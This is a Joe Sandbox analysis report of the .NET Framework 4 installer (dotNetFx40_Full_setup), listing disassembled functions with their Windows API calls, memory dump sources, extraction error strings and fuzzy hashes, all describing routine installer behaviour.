                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: DialogHandleModuleParam
                    • String ID: Failed to get current directory$Failed to select current directory for extraction$Failed to select temporary directory for extraction$Failed to select the user-specified directory for extraction$Failed while running the extract directory selection dialog.
                    • API String ID: 3900296288-2402499859
                    • Opcode ID: b066137811246ab4c3c856df049fb6cebec2cf5e624eddc5aab45aeca9fb65f1
                    • Instruction ID: bd861afcba3bed89cff68156260fd20d9053baf57d48ca24f2b109bd7dd9bab1
                    • Opcode Fuzzy Hash: b066137811246ab4c3c856df049fb6cebec2cf5e624eddc5aab45aeca9fb65f1
                    • Instruction Fuzzy Hash: DB112E33549E10BE8F376B18BC45C7F73A8EB987703200517F847A6385F9658E414691
                    Function 00ADA46E Relevance: 11.3, APIs: 9, Instructions: 63memoryCOMMON
                    Download Yara Rule
                    APIs
                    • CloseHandle.KERNELBASE(00AF96F0,00AD61FB,00000000,00000000,?,?,?,?,?,00AD5B19,?,?,?,00AFBEF0), ref: 00ADA476
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00AD61FB,00000000,00000000,?,?,?,?,?,00AD5B19,?,?,?), ref: 00ADA494
                    • HeapFree.KERNEL32(00000000,?,?,?,?,00AD5B19,?,?,?,00AFBEF0), ref: 00ADA497
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00AD61FB,00000000,00000000,?,?,?,?,?,00AD5B19,?,?,?), ref: 00ADA4AC
                    • HeapFree.KERNEL32(00000000,?,?,?,?,00AD5B19,?,?,?,00AFBEF0), ref: 00ADA4AF
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00AD61FB,00000000,00000000,?,?,?,?,?,00AD5B19,?,?,?), ref: 00ADA4C4
                    • HeapFree.KERNEL32(00000000,?,?,?,?,00AD5B19,?,?,?,00AFBEF0), ref: 00ADA4C7
                    • GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,00AD61FB,00000000,00000000,?,?,?,?,?,00AD5B19,?,?,?), ref: 00ADA4EF
                    • HeapFree.KERNEL32(00000000,?,?,?,?,00AD5B19,?,?,?,00AFBEF0), ref: 00ADA4F2
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$FreeProcess$CloseHandle
                    • String ID:
                    • API String ID: 1236364404-0
                    • Opcode ID: 157e13ff49cd7fd9dcba075e58aafd3f35b9fcd4e98847a2a06655af2760deb9
                    • Instruction ID: 119a2d9a5ecb6788628cd131d0c554cfaf96519e6e066da1814efec8405f7a1d
                    • Opcode Fuzzy Hash: 157e13ff49cd7fd9dcba075e58aafd3f35b9fcd4e98847a2a06655af2760deb9
                    • Instruction Fuzzy Hash: CE0144B1701201A6EF20BBF69E4DF27379CAF90B91B044417F906D6395EA64DC018A72
                    Function 00AD9A63 Relevance: 10.6, APIs: 7, Instructions: 88memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetFileVersionInfoSizeW.KERNELBASE(?,?,00000000,?,00000208,?,?,?,?), ref: 00AD9A98
                    • GetLastError.KERNEL32(?,?,?,?), ref: 00AD9AA4
                    • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 00AD9AD0
                    • GetFileVersionInfoW.KERNELBASE(?,?,00000000,00000000,?,?,?,?), ref: 00AD9AEC
                    • VerQueryValueW.VERSION(?,00AD50AC,?,?,?,?,?,?), ref: 00AD9B06
                    • GetLastError.KERNEL32(?,?,?,?), ref: 00AD9B10
                    • GlobalFree.KERNEL32(?), ref: 00AD9B49
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileGlobalInfoLastVersion$AllocFreeQuerySizeValue
                    • String ID:
                    • API String ID: 2886811419-0
                    • Opcode ID: c2f827424fff7e3c31feee043d80c02c7a7e1598b9d80e1c390a2675746fb293
                    • Instruction ID: f96cac1a3bc6e8832ae93257d3db90cedb3772a4b203cb64e0196b7c333423cf
                    • Opcode Fuzzy Hash: c2f827424fff7e3c31feee043d80c02c7a7e1598b9d80e1c390a2675746fb293
                    • Instruction Fuzzy Hash: F6311876D0011AFFDB10AFA4D9889AEBBB8EB04350B16457BED07E7321D6358E419B90
                    Function 00AF37AF Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON
                    Download Yara Rule
                    APIs
                    • ___set_flsgetvalue.LIBCMT ref: 00AF37D4
                    • __calloc_crt.LIBCMT ref: 00AF37E0
                    • __getptd.LIBCMT ref: 00AF37ED
                    • CreateThread.KERNELBASE(?,?,00AF3745,00000000,?,?), ref: 00AF3824
                    • GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00AF382E
                    • _free.LIBCMT ref: 00AF3837
                    • __dosmaperr.LIBCMT ref: 00AF3842
                      • Part of subcall function 00AEB059: __getptd_noexit.LIBCMT ref: 00AEB059
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
                    • String ID:
                    • API String ID: 155776804-0
                    • Opcode ID: 253ff70eaf1df37bd72fc6b479bff99a4f9714b2c2aac415ae0959ff9f037bc1
                    • Instruction ID: ef11d5c09726dca87469af0eadb82716ceb8bc8d20acd6736685aa3943171c21
                    • Opcode Fuzzy Hash: 253ff70eaf1df37bd72fc6b479bff99a4f9714b2c2aac415ae0959ff9f037bc1
                    • Instruction Fuzzy Hash: 5E11257320078ABFEB20BFF6EC459AB3BE8DF107B07100425FA1497052DB35E90186A1
                    Function 00AF3745 Relevance: 10.5, APIs: 7, Instructions: 39threadCOMMON
                    Download Yara Rule
                    APIs
                    • ___set_flsgetvalue.LIBCMT ref: 00AF374B
                      • Part of subcall function 00AEA57F: TlsGetValue.KERNEL32(?,00AF3750), ref: 00AEA588
                      • Part of subcall function 00AEA57F: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,00AF3750), ref: 00AEA59A
                      • Part of subcall function 00AEA57F: TlsSetValue.KERNEL32(00000000,?,00AF3750), ref: 00AEA5A9
                    • ___fls_getvalue@4.LIBCMT ref: 00AF3756
                      • Part of subcall function 00AEA555: TlsGetValue.KERNEL32(?,?,00AF375B,00000000), ref: 00AEA563
                    • ___fls_setvalue@8.LIBCMT ref: 00AF3769
                      • Part of subcall function 00AEA5B8: _DecodePointerInternal@4.DOTNETFX40_FULL_SETUP(?,?,?,00AF376E,00000000,?,00000000), ref: 00AEA5C9
                    • GetLastError.KERNEL32(00000000,?,00000000), ref: 00AF3772
                    • ExitThread.KERNEL32 ref: 00AF3779
                    • GetCurrentThreadId.KERNEL32 ref: 00AF377F
                    • __freefls@4.LIBCMT ref: 00AF379F
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Value$DecodeInternal@4PointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                    • String ID:
                    • API String ID: 3864649970-0
                    • Opcode ID: d603ada0f8f39615a241a330450581ad0cda361129440f5a994b991194c05b18
                    • Instruction ID: 838ddf88ccefb3d13a533066e08215f46f8cc3c0760ae512ead1b1d5d83c2150
                    • Opcode Fuzzy Hash: d603ada0f8f39615a241a330450581ad0cda361129440f5a994b991194c05b18
                    • Instruction Fuzzy Hash: 32F096B5401284AFCB04FFF2CB0985E7FA9AF543443208418F50587212DA34E942C7A2
                    Function 00AD9DC6 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcessHeap.KERNEL32(00000008,00000038,00000000,?,00000000,?,00000008,00000008,?,00AD6163,?,?,?,00000000,00000000), ref: 00AD9E0D
                    • HeapAlloc.KERNEL32(00000000,?,00AD6163,?,?,?,00000000,00000000), ref: 00AD9E14
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocProcess
                    • String ID:
                    • API String ID: 1617791916-0
                    • Opcode ID: 07f6359018b8b00523da42923cb56203507b5f39b909b7239fd2dce8f5a1fe2a
                    • Instruction ID: 15bf314fa0c5469c1d241c9bec73ccf7a749b61e6b21030bb15ffdb6428d3111
                    • Opcode Fuzzy Hash: 07f6359018b8b00523da42923cb56203507b5f39b909b7239fd2dce8f5a1fe2a
                    • Instruction Fuzzy Hash: FA31A23A500305AFCF10EFA4C845A5B77A6AF84760B26842BF91A9B351EF35EC019B50
                    Function 00ADB8D7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 223COMMON
                    Download Yara Rule
                    APIs
                    • _memset.LIBCMT ref: 00ADB9AC
                    • _strcpy_s.LIBCMT ref: 00ADB9BD
                      • Part of subcall function 00ADB580: __get_errno.LIBCMT ref: 00ADB58E
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: __get_errno_memset_strcpy_s
                    • String ID: @
                    • API String ID: 179418724-2766056989
                    • Opcode ID: 583356e78264e77338e34b760200e201d3d40910a6e658c94eae29b0311e597d
                    • Instruction ID: a3bf39c763c4499ddc33a4da6ffd1fe0882a2d572f36e1eb59c8ff57aaf44b00
                    • Opcode Fuzzy Hash: 583356e78264e77338e34b760200e201d3d40910a6e658c94eae29b0311e597d
                    • Instruction Fuzzy Hash: 828147B5504202EFC700EF64D88495AFBB5FF88324F118A5EF95A97361D731E981CBA2
                    Function 00AF35E6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON
                    Download Yara Rule
                    APIs
                    • _malloc.LIBCMT ref: 00AF3600
                      • Part of subcall function 00AECDB5: __FF_MSGBANNER.LIBCMT ref: 00AECDCE
                      • Part of subcall function 00AECDB5: __NMSG_WRITE.LIBCMT ref: 00AECDD5
                      • Part of subcall function 00AECDB5: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00AEDBEB,?,00000001,?,?,00AED143,00000018,00AF6FA0,0000000C,00AED1D8), ref: 00AECDFA
                    • std::exception::exception.LIBCMT ref: 00AF3635
                    • std::exception::exception.LIBCMT ref: 00AF364F
                    • __CxxThrowException@8.LIBCMT ref: 00AF3660
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
                    • String ID: bad allocation
                    • API String ID: 615853336-2104205924
                    • Opcode ID: 06d94d651f44b3c2b0695b3ef19fc6538de3c6ff541581393ada60c03e617b4b
                    • Instruction ID: 4358d9ee844ecf0773d10fdacb6604ea120023288ba33c10c37e6df6b5d9b9eb
                    • Opcode Fuzzy Hash: 06d94d651f44b3c2b0695b3ef19fc6538de3c6ff541581393ada60c03e617b4b
                    • Instruction Fuzzy Hash: FF01A27350020DAECF04FBE5DD07ABE7BB8AF80754B140016FA1596191DBB19F4AC660
                    Function 00AD91D3 Relevance: 7.6, APIs: 5, Instructions: 84COMMON
                    Download Yara Rule
                    APIs
                    • GetFileAttributesW.KERNELBASE(00000000,?,00000000,00AFBEF0,?,?,?,00AD6F20,00ED4138,00000000,?,?,00000000,?,?,00AD5B53), ref: 00AD91F9
                    • CreateDirectoryW.KERNELBASE(00000000,?,?,?,00AD6F20,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?), ref: 00AD9210
                    • GetLastError.KERNEL32(?,?,00AD6F20,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?,?), ref: 00AD921E
                      • Part of subcall function 00AD91D3: CreateDirectoryW.KERNEL32(00000000,?,?,?,00AD6F20,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?), ref: 00AD9273
                      • Part of subcall function 00AD91D3: GetLastError.KERNEL32(?,?,00AD6F20,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?,?), ref: 00AD927D
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CreateDirectoryErrorLast$AttributesFile
                    • String ID:
                    • API String ID: 925696554-0
                    • Opcode ID: d89d9b78d5133421e941e7c0eb101c289d706a12af112a655c70d3532b918cd9
                    • Instruction ID: c0a944fc17dc3b44b1fb5cb5a4fe3be7063ebf2747c1e13b7ffc9f7006cd3217
                    • Opcode Fuzzy Hash: d89d9b78d5133421e941e7c0eb101c289d706a12af112a655c70d3532b918cd9
                    • Instruction Fuzzy Hash: 5B21C236501202BADB206BA5CC45BEB3769DF903A0F24052BF95BD6351DA35CF429250
                    Function 00AD870C Relevance: 7.6, APIs: 5, Instructions: 80filestringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenA.KERNEL32(00000000,00000004,00AD6E90,00AD6E90,00AFC170,00AD6E90,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000), ref: 00AD8738
                    • WriteFile.KERNELBASE(00000000,00000004,00000004,00000000,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170), ref: 00AD8762
                    • WriteFile.KERNELBASE(00AD4DA4,00000002,00000004,00000000,?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170), ref: 00AD8787
                    • GetLastError.KERNEL32(?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170,00AFC170,00000032,%u/%u/%u, %u:%u:%u,?), ref: 00AD878D
                    • GetLastError.KERNEL32(?,?,?,00AD84C0,00AD6E90,?,00000000,?,00AD8526,00000000,[%s] ,00AFC170,00AFC170,00000032,%u/%u/%u, %u:%u:%u,?), ref: 00AD87BE
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastWrite$lstrlen
                    • String ID:
                    • API String ID: 3048800281-0
                    • Opcode ID: 7063319ce1663344ee9b0a20567985d677f2d5f458bcdccd4d7b8a9709115fef
                    • Instruction ID: cb74f29f49d69de44e2706a3ad8cea868d75fea9e11e5c022aadc081e71a4fe0
                    • Opcode Fuzzy Hash: 7063319ce1663344ee9b0a20567985d677f2d5f458bcdccd4d7b8a9709115fef
                    • Instruction Fuzzy Hash: 2A212AB1900209FFCB10DFA6CC499AE7BB5EF44794F208526F81AD6210DB399B40DF60
                    Function 00ADBC8E Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AF35E6: _malloc.LIBCMT ref: 00AF3600
                      • Part of subcall function 00ADCA78: GetSystemInfo.KERNELBASE(?), ref: 00ADCACB
                    • _memset.LIBCMT ref: 00ADBDC4
                    • _strcpy_s.LIBCMT ref: 00ADBDCE
                    • _strcat_s.LIBCMT ref: 00ADBDD8
                      • Part of subcall function 00ADB580: __get_errno.LIBCMT ref: 00ADB58E
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: InfoSystem__get_errno_malloc_memset_strcat_s_strcpy_s
                    • String ID: W
                    • API String ID: 3172754772-655174618
                    • Opcode ID: e3b452b00ad9716884fd09034bffa908a0d4c58a10edc7e3ec24e2ebf74cf5ca
                    • Instruction ID: a2955d6b97631b354abb21a02620cf94662c8b099df05b6139fac43bc32e6764
                    • Opcode Fuzzy Hash: e3b452b00ad9716884fd09034bffa908a0d4c58a10edc7e3ec24e2ebf74cf5ca
                    • Instruction Fuzzy Hash: 4691AF31A10209EFCB11DFA4C884AAEBBB5BF88750F25855AF506AB351DB71D941CBA0
                    Function 00AD768D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                    Download Yara Rule
                    APIs
                    • _memset.LIBCMT ref: 00AD76D2
                    • QueryDosDeviceW.KERNELBASE(?,?,00000400,?,00000000,?), ref: 00AD76EB
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: DeviceQuery_memset
                    • String ID: harddisk$ramdisk
                    • API String ID: 2562551966-3524468269
                    • Opcode ID: 01eb6c31ff177a1ca0df246080f2f5c77d31f437709fe8a32272d79b442eda78
                    • Instruction ID: 58d49667e4e3a93452a41bcff415e0e20555e30b4f4b14ecd3502bae8b145c7a
                    • Opcode Fuzzy Hash: 01eb6c31ff177a1ca0df246080f2f5c77d31f437709fe8a32272d79b442eda78
                    • Instruction Fuzzy Hash: 47118279D04348BACB10DFB5DD06ADF73BCAF44314F0084A6E505E7140FA349A098B95
                    Function 00AD9C21 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                    Download Yara Rule
                    APIs
                    • DeleteFileW.KERNELBASE(00000000,?,00000000,00000000,00AFBEF0,?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C43
                    • GetLastError.KERNEL32(?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C53
                    • MoveFileExW.KERNEL32(00000000,00000000,00000004,?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C64
                    • GetLastError.KERNEL32(?,?,00AD6488,00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD9C6E
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorFileLast$DeleteMove
                    • String ID:
                    • API String ID: 4226254011-0
                    • Opcode ID: 9b5d1a312fc632094116a3cb476d9b5e3093876f04cf45f82b8d231e8c4169f7
                    • Instruction ID: 39bff068a32fb1eb60b13e14c6c997a92a6f04ad691007e93a584148b03caa72
                    • Opcode Fuzzy Hash: 9b5d1a312fc632094116a3cb476d9b5e3093876f04cf45f82b8d231e8c4169f7
                    • Instruction Fuzzy Hash: B00149376102057BD72057A98D45BDB7AADCFC0360F250037EA07E7300EA34DD0186E8
                    Function 00ADECDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: H_prolog3_memmove
                    • String ID:
                    • API String ID: 1268875249-3916222277
                    • Opcode ID: b4c498bd0223883fdc09500adb12ec3b0956337f92ffc55c36b632539b1435e3
                    • Instruction ID: 88b803414adbce2eb26b3ede3ef7478c044a05044014abdfa9fc251cdaf23d39
                    • Opcode Fuzzy Hash: b4c498bd0223883fdc09500adb12ec3b0956337f92ffc55c36b632539b1435e3
                    • Instruction Fuzzy Hash: 70512271D00219AFDF14EFA4C981ABEB7B5FF48314F24451AE956BB341DB31AE418BA0
                    Function 00AD64D8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON
                    Download Yara Rule
                    APIs
                    • SetFileAttributesW.KERNELBASE(?,00000080,?,00000024,?,00ADAFDF,00000007,?,?,00000000,00000000,?,?,?), ref: 00AD6560
                    Strings
                    • User canceled extraction..., xrefs: 00AD65BB
                    • Unable ro register file for clean-up, xrefs: 00AD6574
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: AttributesFile
                    • String ID: Unable ro register file for clean-up$User canceled extraction...
                    • API String ID: 3188754299-368570184
                    • Opcode ID: e5c0e259a5bf020136f332a6ae71cc5d80d645b93a57f8c3b14d567af3f306d8
                    • Instruction ID: df366684994eb8e61f88ff3c9faab54b21aeeeca9bec7e4fc5e1a295abac07ab
                    • Opcode Fuzzy Hash: e5c0e259a5bf020136f332a6ae71cc5d80d645b93a57f8c3b14d567af3f306d8
                    • Instruction Fuzzy Hash: FF21A8315001249BCF11EFA9FA5A75E3360BB04B20B118A17F9039631AEB30E9D0DF99
                    Function 00AD9CFE Relevance: 5.1, APIs: 4, Instructions: 72memoryCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 00AD9CA3: CreateFileW.KERNELBASE(?,?,00AFBEF0,00000000,00AD5AE3,?,00000000,?,00000000,?,?,?,00AD843A,?,40000000,00000005), ref: 00AD9CD2
